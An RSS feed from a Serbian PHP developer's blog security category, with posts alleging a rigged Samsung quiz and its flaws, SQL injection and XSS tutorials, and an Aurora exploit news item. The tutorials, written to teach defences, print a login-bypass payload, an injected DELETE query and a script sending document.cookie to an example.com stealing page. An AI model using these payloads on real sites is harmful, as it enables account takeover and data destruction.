<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Aleksandar Saša Babić - blog &#187; Sigurnost</title>
	<atom:link href="http://www.salebab.net/teme/sigurnost/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.salebab.net</link>
	<description>Razvoj web aplikacija - PHP, MySQL, Javascript, Ajax, jQuery i druge psovke</description>
	<lastBuildDate>Sat, 29 Oct 2011 15:02:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Samsung Galaxy S2 kviz je prevara!?</title>
		<link>http://www.salebab.net/samsung-galaxy-s2-kviz-je-prevara/</link>
		<comments>http://www.salebab.net/samsung-galaxy-s2-kviz-je-prevara/#comments</comments>
		<pubDate>Tue, 05 Jul 2011 08:15:13 +0000</pubDate>
		<dc:creator>Aleksandar Babić</dc:creator>
				<category><![CDATA[FAIL]]></category>
		<category><![CDATA[Sigurnost]]></category>
		<category><![CDATA[galaxy]]></category>
		<category><![CDATA[prevara]]></category>
		<category><![CDATA[samsung]]></category>

		<guid isPermaLink="false">http://www.salebab.net/?p=455</guid>
		<description><![CDATA[Aktualna tema na Internetu ovih dana je kviz u kojem 5 učesnika osvaja Samsung Galaxy S2 igrajući jednostavan kviz. Tih prvih 5 učesnika koji za najkraće vreme odgovore na 10 pitanja mogli su samo da sanjaju da će osvojiti telefon. Telefone su osvojili ljudi koji nikad nisu ni bili u top 10, niti se pojavljivali [...]]]></description>
			<content:encoded><![CDATA[<p><img style="border: 1px solid #000;" title="samsunggalaxys2.rs" src="http://www.salebab.net/wp-content/uploads/2011/07/sgs2rs.jpg" alt="" width="520" height="209" /></p>
<p>Aktualna tema na Internetu ovih dana je kviz u kojem 5 učesnika osvaja <strong>Samsung Galaxy S2</strong> igrajući jednostavan <a href="http://www.samsunggalaxys2.rs" rel="nofollow" target="_blank">kviz</a>. Tih prvih 5 učesnika koji za najkraće vreme odgovore na 10 pitanja mogli su samo da sanjaju da će osvojiti telefon. Telefone su osvojili ljudi koji nikad nisu ni bili u top 10, niti se pojavljivali na listi tokom takmičenja koje je trajalo mesec dana.</p>
<p>Organizator igre, za kojeg pretopostavljam da je bio neko od uvozinika Samsung telefona ili predstavništvo Samsunga u Srbiji, nije ostavljao kontakt podatke na sajtu, kao ni telefon za reklamacije. Na forumima se može videti da su ljudi slali reklamacije na neki email, ali nikad niko nije dobio odgovor.</p>
<p>Interesantan je podatak da je za izradu ovog kviza zadužena firma „<a href="http://www.wm.rs" rel="nofollow" target="_blank">Wireless media doo</a>“ iz Beograda koja za sebe kaže da je regionalni lider u oblasti razvoja web portala. U kvalitet njihovih usluga sam se uverio kao i mnogo drugih učesnika i zaključak je jasan -  <strong>kviz je urađen amaterski i sa mnogo propusta</strong>. Ko je pratio tok igre, sigurno je posumnjao da je u pitanju prevara.</p>
<p><span id="more-455"></span>Tokom takmičenja uvek je bila vidljiva lista top 10 najbržih, ali ne i njihova ostvarena vremena, pa tako učesnici nisu mogli da znaju koje vreme trebaju da dostignu. Po forumima su već počele da kruže priče kako je kviz namešten, ali još uvek sumnje nije bilo jer su se učesnici u top 10 smenjivali.</p>
<p>Ono što je zabrinjavajuće je da je ta lista misteriozno nestala nakon što sajt prethodnih 12 sati nije radio, a zatim je i kviz ugašen. Tek kasnije, u popodnevnim časovima tog dana je izašlo obaveštenje da će pobednici biti proglašeni naredne nedelje. Obaveštenje i imena dobitnika su se pojavila na sajtu, ali ne kao prvih 5 u top 10 listi, već kao obična vest. <strong>Ovi pobednici nikada nisu ni bili u top 10</strong>, niti ih je iko ikada video na toj tabeli.</p>
<p>Da li su ti učesnici rođaci, prijatelji zaposlenih ili sami zaposleni u „Wireless media doo“ i da su <strong>skrivanjem pravih rezultata</strong> oni osvojili telefon, u to ne bih da ulazim i ako se još u prvim danima trajanja kviza šuškalo da su dobitnici unapred poznati.</p>
<p>U obaveštenju, organizatori kviza se pravdaju da su rezultati „isfiltrirani“ i da je nad njima urađena „softverska provera“ šta god to bilo, pa su na taj način u stvari ovi ljudi dobili telefon, a ne oni koji su se smenjivali i pojavljivali na tabeli tokom trajanja igre. Zatim su pokušali da skinu odgovornost sa sebe za lošu izradu i vođenje kviza i okrivili učesnike koji su koristili, kako oni navode „skripte, exploite i druge nedozvoljene alate“, <strong>za šta nikako ne mogu imati dokaza</strong>. Da dodam da ovakve stvari nisu ni bile zabranjene pravilima kviza, tako da su organizatori posle završenog kviza izmislili neke nove uslove i pravila. I pogodite šta, svi ostali učesnici su bili <strong>uskraćeni prava na žalbu.</strong></p>
<p>S druge strane, u nedozvoljene alate ne spada ako neko napiše svoj Internet pregledač koji radi na sličan način kao i Mozilla Firefox i na taj način surfuje Internetom. To je u potpunosti legalno i učesnici mogu ostvariti bolje rezultate, pa tako kviz može biti rešen za 1-2 sekunde. Neko koristi sporiji pregledač, neko napravi svoj, brži. Dakle, rado bih pitao organizatore &#8211; Kako možete dokazati da su učesnici varali? Da li možete te dokaze izneti javno?</p>
<p>S treće strane, ja sam imao manje vreme od pobednika kviza koristeći samo Firefox, bez bilo kakvih navedenih „nedozvoljenih alata“, kako oni navode. Takođe, znam i dosta drugih ljudi koji su imali manje vreme, a isto tako se i po forumima mogu videti rezultati koje su drugi učesnici pravili.</p>
<p><img style="border: 1px solid #000;" title="samsung kviz" src="http://www.salebab.net/wp-content/uploads/2011/07/sshot67p.png" alt="" width="520" /></p>
<h2>Samsung kviz je prepun bagova</h2>
<p>Firma „Wireless media doo“ definitivno ima problem sa programerima, kao što moj kolega programer reče – onog ko je ovo pravio treba ubiti. U šali, naravno.</p>
<p>Pogledajte samo ove propuste:</p>
<p><strong>Na pitanja nije bilo potrebno ni odgovoriti</strong> – dovoljno je bilo isključiti JavaScript (jedna mala opcija u Firefoxu) i submitovati kviz. Viola! Vreme od 2 sekunde i eto mene u top 10. Da li je ovo nelegalno? Da li je opcija „disable javascript“ nedozvoljena? Čini mi se da nije, programeri kviza sigurno znaju za noscript tag? Ili možda ne?</p>
<p><strong>Mogu da promenim početno vreme </strong>– Zamislite situaciju da završite kviz pre nego što ste počeli? Fizički nemoguće, ali vi imate mogućnost da menjate sadržaj strane i da pošaljete podatke kakve želite. Jednostavno je, programeri iz WM ne umeju da provere da li ste počeli da igrate pre nego što ste završili?! Na ovaj način učesnici mogu imati vreme u minusu, npr -3 sekunde.</p>
<p>Kako ne bih previše da zalazim u tehničke detalje, predstaviću samo još jedan primer, moj favorit – <strong>učesnik može drugom učesniku da promeni lične podatke!</strong> Neverovatno! Dok se drugi ljudi muče, jure vremena ili “pišu exploite”, vi jednostavno submitujete formular za lične podatke sa izmenjem ID-em učesnika i tako uzmete njima svu slavu. Naravno, treba znati ID nekog korisnika ali ni to nije problem. Kako je ID broj koji počinje od 0 i lako se može videti poslednji dodeljeni, nije teško napisati jednu petljicu koja će jednu stvar za nas uraditi 1.000 puta i tako promeniti ime za 1.000 korisnika. Programeri nisu čak ni proverili da li je učesnik već upisao svoje lične podatke već su dozvolili da mu drugi učesnik promeni ime i prezime! Hmm, da li je samo meni palo na pamet da je poslednjeg dana server pao jer je neko poslao 500.000+ POST zahteva i hteo svima da izmeni imena?</p>
<p>I šta sad – „Wireless media doo“ neće priznati da ima nestručne programere, da ne ume da isprojektuje i realizuje online kviz koji će svim učesnicima dati približno jednake šanse, već će <strong>krivicu svaliti na učesnike</strong> koji se služe, kako oni kažu, nelegalnim sredstvima, a pred svojim klijentima će biti čisti.<em> Da, da, znate, to su oni klinci, hakeri, bili su kod Brankice na B92.</em></p>
<p>Ne ulazim u to ko su dobitnici. Srećno, neka ih lepo služi. Ako nisu rođaci, onda su definitivno izvučeni metodom slučajnog izbora i nalepljena su im neka vremena. “Softverska provera” je glupost, tako nešto ne postoji. Čak i da postoji i da su oni napravili softver za proveru, posle svega viđenog definitivno im ne verujem da to zaista funkcioniše.</p>
<div style="float: right; margin-left: 10px;"><a href="http://twitter.com/share?url=http://www.salebab.net/samsung-galaxy-s2-kviz-je-prevara/&via=salebab&text=Samsung Galaxy S2 kviz je prevara!?&related=:&lang=en&count=horizontal" class="twitter-share-button">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.salebab.net/samsung-galaxy-s2-kviz-je-prevara/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>SQL Injection (Sigurnost PHP aplikacija &#8211; 5. deo)</title>
		<link>http://www.salebab.net/sql-injection-sigurnost-php-aplikacija-5-deo/</link>
		<comments>http://www.salebab.net/sql-injection-sigurnost-php-aplikacija-5-deo/#comments</comments>
		<pubDate>Sun, 05 Sep 2010 10:56:09 +0000</pubDate>
		<dc:creator>Aleksandar Babić</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sigurnost]]></category>

		<guid isPermaLink="false">http://www.salebab.net/?p=230</guid>
		<description><![CDATA[Ovo je četvrti u seriji članaka o sigurnosti PHP aplikacija. Pogledajte Sigurnost PHP aplikacija, Osnove sigurnosti, Validacija i filtriranje inputa i XSS Dok XSS predstavlja indirektan napad na korisnike, SQL Injection predstavlja direktan napad na PHP aplikaciju, odnosno na bazu podataka. Cilj ovog napada je da se izmeni određeni SQL upit kako bi se izršile [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center; background-color: #fffbcc; font-size: 10px; color: #808080;">Ovo je četvrti u seriji članaka o sigurnosti PHP aplikacija. Pogledajte <a href="http://www.salebab.net/sigurnost-php-aplikacija/">Sigurnost PHP aplikacija</a>, <a href="http://www.salebab.net/osnove-sigurnosti-sigurnost-php-aplikacija-2-deo/">Osnove sigurnosti</a>, <a href="http://www.salebab.net/validacija-i-filtriranje-inputa-sigurnost-php-aplikacija-3-deo/">Validacija i filtriranje inputa</a> i <a href="http://www.salebab.net/cross-site-scripting-xss-sigurnost-php-aplikacija-4-deo/">XSS</a></p>
<p>Dok <a href="http://www.salebab.net/cross-site-scripting-xss-sigurnost-php-aplikacija-4-deo/">XSS</a> predstavlja indirektan napad na korisnike, SQL Injection predstavlja direktan napad na PHP aplikaciju, odnosno na bazu podataka. Cilj ovog napada je da se izmeni određeni SQL upit kako bi se izršile razne akcije, od dobijanja aletrantivnih podataka, do izmene ili brisanja podataka iz baze podataka.<span id="more-230"></span><br />
Napad SQL Injection-om se uglavnom vrši na skripte za proveru autentifikacije korisnika, odnosno prilikom provere korisničkog imena i lozinke, kako bi se SQL upit izmenio i uvek izvršio tako da uvek &#8220;dohvata&#8221; podatke o nekom korisniku.  Sledeći primer demonstrira propust prilikom provere korisničkih podataka:</p>
<pre class="brush: php; title: ; notranslate">&lt;?php
// podaci sa login forme
$username = $_POST['username'];
$password = $_POST['password'];

// provera podataka
$sql = &quot;SELECT * FROM korisnici WHERE username = '$username' AND password = '$password'&quot;;
$result = mysql_query($sql);
if(mysql_num_rows($result) &gt; 0) {
	// korisnik je ulogovan...
}
?&gt;</pre>
<p>Ukoliko bi napadač u ovakav login formular umesto korisničkog imena i lozinke uneo sledeću vrednost:</p>
<pre class="brush: sql; title: ; notranslate">a' OR '1' = '1</pre>
<p>SQL upit koji bi se izvršio izgledao bi ovako:</p>
<pre class="brush: sql; title: ; notranslate">SELECT * FROM korisnici WHERE username = 'a' OR '1'='1' AND password = 'a' OR '1'='1'</pre>
<p>Ovakav upit bi sigurno vratio podatke o nekom korisniku, i u ovom konkretnom primeru omogućio bi korisniku da bude ulogovan. Dodavanjem još nekih uslova, na primer WHERE id = &#8217;1&#8242;  ili nekog drugog ID-a, postoji velika verovatnoća da će biti autorizovan kao administrator sistema.<br />
Osim kod provere autentifikacije, može se iskoristiti i u druge zlonamerne svrhe, a jedan od njih je ubacivanje dodatnog upita koji može uništiti podatke ili neke druge zlonamerne akcije.<br />
Sledeći primer demonstrira SQL injection u cilju izvršenja dodatnog upita:</p>
<pre class="brush: php; title: ; notranslate">// ubacivanje dodatnog upita
$name = &quot;Pera'; DELETE FROM korisnici”;
mysql_query(&quot;SELECT * FROM korisnici WHERE name='$name'&quot;);
</pre>
<p>Izvšenje više upita odjednom nije podržano u <strong>mysql_query()</strong> funkciji, ali drugi drajveri, npr za PostgreSQL ili SQLite, to dozvoljavaju, pa tako izvšenje ovakvog koda predstavlja ozbiljan sigurnosni propust.</p>
<h2>Zaštita</h2>
<p>Kao što je već spominjano u ranijim glavama, filtriranje inputa može sprečiti većinu sigurnosnih problema i obavezna je stavka sigurne aplikacije. Ukoliko bi filtrirali podatke tako da korisniku zabranimo unos specijalnih karaktera specifičnih za SQL upite, na primer apostrofe, i za lozinke možemo da koristimo jednosmerne enkripcije, na primer md5, sigurno bi povećali sigurnost. Međutim,postoje i druge metode za sprečavanje napada, a da dozvolimo sve karaktere:<br />
•	Escape inputa – <strong>mysql_real_escape_string()</strong><br />
•	Pripremljeni izrazi</p>
<h3>mysql_real_escape_string()</h3>
<p>Ova funkcija pripada mysql drajveru, ali je poseduje i mysqli drajver (mysqli_real_escape_string) i osigurava da će svi specijalni karakteri biti pravilno eskejpovani, odnosno da se pri građenju upita i dalje ponašaju kao sastavni deo tog stringa i nikako ne iskoriste u izmeni upita. Ova funkcija je &#8220;best practice&#8221; i mora se izvršiti nad svim promenjivima koji grade upit.</p>
<pre class="brush: php; title: ; notranslate">$username = mysql_real_escape_string($_POST['username']);</pre>
<p>Upit za gore navedeni primer nakon eskejpovanja-a promenjivih izgleda ovako:</p>
<pre class="brush: sql; title: ; notranslate">SELECT * FROM korisnici WHERE username = 'a\' OR \'1\'=\'1' AND password = 'a\' OR \'1\'=\'1'</pre>
<p>i zaštićen je od SQL injection napada. Pošto ove funkcije za eskejpovanje pripadaju drajveru za rad sa bazom podataka, sve kose crte &#8220;\&#8221; neće biti unete sa ostalim podacima u bazu, što nije slučaj u korišćenju addslashes funkcije.<br />
<strong>Napomena:</strong> Pretpostavka je da je isključen <strong>magic_quotes_gpc</strong>, u suprotom se podaci moraju normalizovati, pa tek onda eskejpovati. Normalizacija podataka je objašnjena ranije.</p>
<h3>Pripremljeni izrazi (Prepared statements)</h3>
<p>Pripremljeni izrazi nisu tolika velika novost, ali mnogi programeri početnici izbegavaju da ih koriste, a verovatno je to zbog slabog razumevanja načina na koji rade. Pre svega, treba napomenuti da pripremljeni izrazi ne mogu da se koriste u starim verzijama drajvera, kao što je standaradni mysql. Takoreći, mysql drajver je starijeg datuma i njegov dalji razvoj je odavno obustavljen. Čak je i preporuka PHP konzorcijuma da se on potpuno izbaci iz korišćenja i da se koriste drajveri kao što su MySQLi i PDO. Ova dva drajvera su dosta brži i poseduju dosta sigurnosnih karakteristika.<br />
Priprema izraza, odnosno njegovo građenje se odvija na MySQL serveru, pa stoga ne postoji mogućnost same izmene upita u php aplikaciji, a zbog načina na koji radi, ni na serveru. Prilikom pisanja upita, umesto promenjivih vrednosti koriste se operater &#8220;?&#8221;, a promenjive se šalju posebnom funkcijom, onim redosledom kakvim se ubacuju u upit.<br />
Sledeći kôd opisuje rad MySQLi drajvera i pripremljenih izraza:</p>
<pre class="brush: php; title: ; notranslate">&lt;?php
$username = $_POST['username'];
$password = $_POST['password'];

// Konekcija sa MySQL bazom
$mysqli = new mysqli('localhost', 'user', 'password', 'world');

$stmt = $mysqli-&gt;prepare(&quot;SELECT * FROM korisnici WHERE username = ? AND password = ? LIMIT 1&quot;);
// Vrednosti promenjivih se šalju na u upit
$stmt-&gt;bind_param('ss', $username, $password);

// izvršavanje upita
$stmt-&gt;execute();

if($stmt-&gt;affected_rows &gt; 0) {
	// korisnik je ulogovan
}

//...

// zatvaranje izraza i upita
$stmt-&gt;close();
?&gt;
</pre>
<p>Više o MySQLi drajveru i njegovim funkcionalnostima možete saznati na adresi:<br />
<a href="http://php.net/manual/en/book.mysqli.php" target="_blank">http://php.net/manual/en/book.mysqli.php</a></p>
<div style="float: right; margin-left: 10px;"><a href="http://twitter.com/share?url=http://www.salebab.net/sql-injection-sigurnost-php-aplikacija-5-deo/&via=salebab&text=SQL Injection (Sigurnost PHP aplikacija - 5. deo)&related=:&lang=en&count=horizontal" class="twitter-share-button">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.salebab.net/sql-injection-sigurnost-php-aplikacija-5-deo/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Cross Site Scripting &#8211; XSS (Sigurnost PHP aplikacija &#8211; 4. deo)</title>
		<link>http://www.salebab.net/cross-site-scripting-xss-sigurnost-php-aplikacija-4-deo/</link>
		<comments>http://www.salebab.net/cross-site-scripting-xss-sigurnost-php-aplikacija-4-deo/#comments</comments>
		<pubDate>Sun, 25 Apr 2010 15:20:59 +0000</pubDate>
		<dc:creator>Aleksandar Babić</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sigurnost]]></category>

		<guid isPermaLink="false">http://www.salebab.net/?p=181</guid>
		<description><![CDATA[Ovo je četvrti u seriji članaka o sigurnosti PHP aplikacija. Pogledajte Sigurnost PHP aplikacija, Osnove sigurnosti i Validacija i filtriranje inputa XSS je tip sigurnosnih propusta koji je karakterističan za web aplikacije koji omogućava napadaču da ubaci kôd koji se izvršava na klijentskoj strani (JavaScript, ActiveX, HTML) u našu web stranicu. Cilj ovakvog napada je [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center; background-color: #fffbcc; font-size: 10px; color: #808080;">Ovo je četvrti u seriji članaka o sigurnosti PHP aplikacija. Pogledajte <a href="http://www.salebab.net/sigurnost-php-aplikacija/">Sigurnost PHP aplikacija</a>, <a href="http://www.salebab.net/osnove-sigurnosti-sigurnost-php-aplikacija-2-deo/">Osnove sigurnosti</a> i <a href="http://www.salebab.net/validacija-i-filtriranje-inputa-sigurnost-php-aplikacija-3-deo/">Validacija i filtriranje inputa</a></p>
<p><strong>XSS </strong>je tip sigurnosnih propusta koji je karakterističan za web aplikacije koji omogućava napadaču da ubaci kôd koji se izvršava na klijentskoj strani (JavaScript, ActiveX, HTML) u našu web stranicu. Cilj ovakvog napada je dobijanje osetljivih podataka kao što su korisničke sesije (cookie), odvođenje na drugu stranicu ili bilo koji drugi cilj koji se može postići izvršenjem koda na korisničkoj strani.</p>
<p>XSS-u su najčešće podložne web aplikacije koje ispisuju korisnički sadržaj – na primer: forumi, knjige gostiju, komentari članova i druge.</p>
<p><span id="more-181"></span>Sledeći primer opisuje XSS napad na stranicu koja ispisuje komentare članova.  Ukoliko bi imali formu za upis komentara sličnu ovoj:</p>
<pre class="brush: xml; title: ; notranslate">
&lt;form action=&quot;komentar.php&quot; method=&quot;POST&quot; /&gt;
    Vaše ime: &lt;input type=&quot;text&quot; name=&quot;ime&quot; /&gt;&lt;br /&gt;
    Komentar: &lt;textarea name=&quot;komentar&quot; rows=&quot;10&quot; cols=&quot;60&quot;&gt;&lt;/textarea&gt;&lt;br /&gt;
    &lt;input type=&quot;submit&quot; value=&quot;Upišite komentar&quot; /&gt;
&lt;/form&gt;
</pre>
<p>i PHP skriptu koja ispisuje komentar</p>
<pre class="brush: php; title: ; notranslate">&lt;?php
echo &quot;&lt;p&gt;$ime je napisao:&lt;br /&gt;&quot;;
echo $komentar .&quot;&lt;/p&gt;&quot;;
?&gt;</pre>
<p>definitivno bi imali ozbiljan sigurnosni propust. Korisnik može upisati komentar, ali i dodati HTML i JavaScript koji neće biti vidljiv od strane drugih korisnika. Komentar sa kojim napadač može ukrasti podatke o sesiji, koji se čuvaju u cookiu je sledeći:</p>
<pre class="brush: xml; title: ; notranslate">&lt;script&gt;
	document.location = 'http://www.example.com/ukradi.php?kolacic=' +
      document.cookie
&lt;/script&gt;
</pre>
<p><strong>Ako bi bilo koji korisnik posetio ovu stranu, koja sadrži komentar sa ovim kôdom, biće preusmeren na drugu adresu. </strong>Ne samo da će svi naši korisnici otići na neki drugi sajt, već će napadač moći da pristupi <strong>našim kolačićima</strong> preko GET metode.<br />
U zavisnosti od naših potreba, postoji više rešenja i više različitih PHP funkcija koje nam mogu pomoći.</p>
<h2>HTML entiteti</h2>
<p>Jedno od rešenja za XSS je da specijalne HTML karaktere (&lt;, &gt;, &#8216;, &#8220;, &amp;)  konvertujemo u njihove tekstualne entitete (&amp;lt;, &amp;gt;, &amp;apos;, &amp;quot;, &amp;amp; ) i tako možemo biti sigurni da će HTML kôd biti ispisan onako kako je unet, pa tako i JavaScript neće biti izvšen.<br />
PHP poseduje dve funkcije koje konvertuju HTML tagove u entitete. Jedna od njih je <a href="http://php.net/manual/en/function.htmlspecialchars.php" target="_blank">htmlspecialchars</a> koja konvertuje gore navedene HTML tagove u odgovarajuće entitete:</p>
<pre class="brush: php; title: ; notranslate">&lt;?php
$komentar = htmlspecialchars(&quot;&lt;a href='test'&gt;Test&lt;/a&gt;&quot;, ENT_QUOTES);
echo $komentar; // &amp;lt;a href=&amp;#039;test&amp;#039;&amp;gt;Test&amp;lt;/a&amp;gt;
?&gt;
</pre>
<p>Odnosno, zaštita za našu skriptu za ispis komentara bi bila:</p>
<pre class="brush: php; title: ; notranslate">&lt;?php
// konvertovanje outputa
$ime = htmlspecialchars($ime);
$komentar = htmlspecialchars($komentar);

echo &quot;&lt;p&gt;$ime je napisao:&lt;br /&gt;&quot;;
echo $komentar .&quot;&lt;/p&gt;&quot;;
?&gt;
</pre>
<p>Druga funkcija je <a href="http://php.net/manual/en/function.htmlentities.php" target="_blank">htmlentities</a> koja konvertuje sve specijalne karaktere u svoje entitete, kao što su ©, », € i druge.</p>
<h2>Izbacivanje HTML tagova</h2>
<p>Drugi način sprečavanja XSS-a je izbacivanje HTML tagova iz komentara. Za ovo je potrebna vrlo jednostavna funkcija – <a href="http://php.net/manual/en/function.strip-tags.php" target="_blank">strip_tags</a> koja jednostavno briše sve HTML i PHP tagove i ostavlja čist tekst.</p>
<pre class="brush: php; title: ; notranslate">&lt;?php
$komentar = '&lt;p&gt;Tekst u paragrafu.&lt;/p&gt;&lt;!-- Komentar --&gt; &lt;a href=&quot;# &quot;&gt;Link&lt;/a&gt;';
echo strip_tags($komentar);
?&gt;</pre>
<p>]</p>
<p>U ovom slučaju, svi html tagovi će biti izbačeni i biće ispisan samo sledeći tekst:</p>
<pre class="brush: xml; title: ; notranslate">Tekst u paragrafu. Link</pre>
<p><a href="http://php.net/manual/en/function.strip-tags.php" target="_blank">strip_tags</a> ima još jednu mogućnost, a to je da izostavi tagove koje ne želimo da izbacimo. Na primer, ukoliko želimo da omogućimo korisnicima da koriste jednostvno formatiranje teksta, kao na primer: bold, em i sl, možemo koristiti:</p>
<pre class="brush: php; title: ; notranslate">strip_tags($komentar, '&lt;strong&gt;&lt;em&gt;&lt;u&gt;');</pre>
<p>Međutim, moramo uzeti u obzir da se JavaScript može izvršiti unutar bilo kojeg taga, korišćenjem atributa onLoad ili onClick i sličnih, pa stoga ovakvo filtriranje može predstavljati sigurnosni rizik.</p>
<p>P.S. Sledeći tekst o sigurnosti PHP aplikacija biće o SQL injection-u. Stay tuned <img src='http://www.salebab.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div style="float: right; margin-left: 10px;"><a href="http://twitter.com/share?url=http://www.salebab.net/cross-site-scripting-xss-sigurnost-php-aplikacija-4-deo/&via=salebab&text=Cross Site Scripting - XSS (Sigurnost PHP aplikacija - 4. deo)&related=:&lang=en&count=horizontal" class="twitter-share-button">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.salebab.net/cross-site-scripting-xss-sigurnost-php-aplikacija-4-deo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google je hakovan, a krivac Internet Explorer</title>
		<link>http://www.salebab.net/google-je-hakovan-a-krivac-internet-explorer/</link>
		<comments>http://www.salebab.net/google-je-hakovan-a-krivac-internet-explorer/#comments</comments>
		<pubDate>Mon, 18 Jan 2010 14:55:30 +0000</pubDate>
		<dc:creator>Aleksandar Babić</dc:creator>
				<category><![CDATA[Sigurnost]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[hakovanje]]></category>
		<category><![CDATA[IE]]></category>

		<guid isPermaLink="false">http://www.salebab.net/?p=106</guid>
		<description><![CDATA[Napad na mrežu kompanije Google, Adobe i još 30+ drugih firmi izveli su verovatno kineski (a ko bi drugi) hakeri. Iskorišćen je sigurnosni propust u Internet Exploreru 6, ali takav propust se može naći i u ostalim verzijama ovog browser-a. Propust u IE omogućavao je napadaču da kompletno upravlja žrtvinim računarom, a exploit, sa imenom &#8220;Aurora&#8221; je [...]]]></description>
			<content:encoded><![CDATA[<p><img style="margin-right: 5px;" title="Google je hakovan" src="http://www.salebab.net/wp-content/uploads/2010/01/google.jpg" alt="google" width="104" height="37" align="left" />Napad na mrežu kompanije Google, Adobe i još 30+ drugih firmi izveli su verovatno kineski (a ko bi drugi) hakeri. Iskorišćen je sigurnosni propust u Internet Exploreru 6, ali takav propust se može naći i u ostalim verzijama ovog browser-a.</p>
<p>Propust u IE omogućavao je napadaču da kompletno upravlja žrtvinim računarom, a exploit, sa imenom &#8220;Aurora&#8221; je već javno dostupan.<span id="more-106"></span></p>
<p>Preporučujem da pogledate demonstraciju ovog napada na Windows računar sa instaliram IE6.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="500" height="222" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=8771582&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed type="application/x-shockwave-flash" width="500" height="222" src="http://vimeo.com/moogaloop.swf?clip_id=8771582&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p style="padding: 10px; font-size: 10px; background-color: #fffbcc;">Pogledajte i izvorni tekst &#8211; <a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/" target="_blank">The “Aurora” IE Exploit Used Against Google in Action</a></p>
<div style="float: right; margin-left: 10px;"><a href="http://twitter.com/share?url=http://www.salebab.net/google-je-hakovan-a-krivac-internet-explorer/&via=salebab&text=Google je hakovan, a krivac Internet Explorer&related=:&lang=en&count=horizontal" class="twitter-share-button">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.salebab.net/google-je-hakovan-a-krivac-internet-explorer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Validacija i filtriranje inputa (Sigurnost PHP aplikacija &#8211; 3.deo)</title>
		<link>http://www.salebab.net/validacija-i-filtriranje-inputa-sigurnost-php-aplikacija-3-deo/</link>
		<comments>http://www.salebab.net/validacija-i-filtriranje-inputa-sigurnost-php-aplikacija-3-deo/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 23:07:47 +0000</pubDate>
		<dc:creator>Aleksandar Babić</dc:creator>
				<category><![CDATA[Sigurnost]]></category>

		<guid isPermaLink="false">http://www.salebab.net/?p=45</guid>
		<description><![CDATA[Ovo je treći u seriji članaka o sigurnosti PHP aplikacija. Pogledajte Sigurnost PHP aplikacija i Osnove sigurnosti (Sigurnost PHP aplikacija – 2.deo) Trebamo imati u vidu da su svi inputi stringovi (tekstualne vrednost), tako da i ako su one prikazane kao brojne vrednosti oni su i dalje samo stringovi. PHP ima tu mogućnost da radi [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center; background-color: #fffbcc; font-size: 10px; color: #808080;">Ovo je treći u seriji članaka o sigurnosti PHP aplikacija. Pogledajte <a href="http://www.salebab.net/sigurnost-php-aplikacija/">Sigurnost PHP aplikacija</a> i <a href="http://www.salebab.net/osnove-sigurnosti-sigurnost-php-aplikacija-2-deo/">Osnove sigurnosti (Sigurnost PHP aplikacija – 2.deo)</a></p>
<p>Trebamo imati u vidu da su svi inputi stringovi (tekstualne vrednost), tako da i ako su one prikazane kao brojne vrednosti oni su i dalje samo stringovi. PHP ima tu mogućnost da radi sa različitim tipovima podataka i da ih menja dinamično, u hodu. Pa tako ako deklarišemo stringovnu promenjivu koja sadrži vrednost “23″,  nju možemo sabrati sa bilo kojim brojem.</p>
<p><span id="more-45"></span></p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
$broj = &quot;23&quot; // razlikuje se od $broj = 23;
$novi_broj = $broj + 3; // 26
?&gt;
</pre>
<p>Ovaj kôd nikako ne predstavlja sigurnosni rizik, već samo jednu karakteristiku PHP-a, dobri programeri uvek moraju imati na umu sa kakvim tipovima podataka rade. To je jedna od osnova pravilne validacije inputa, pa krenimo redom.</p>
<h2>Validacija brojnih vrednosti</h2>
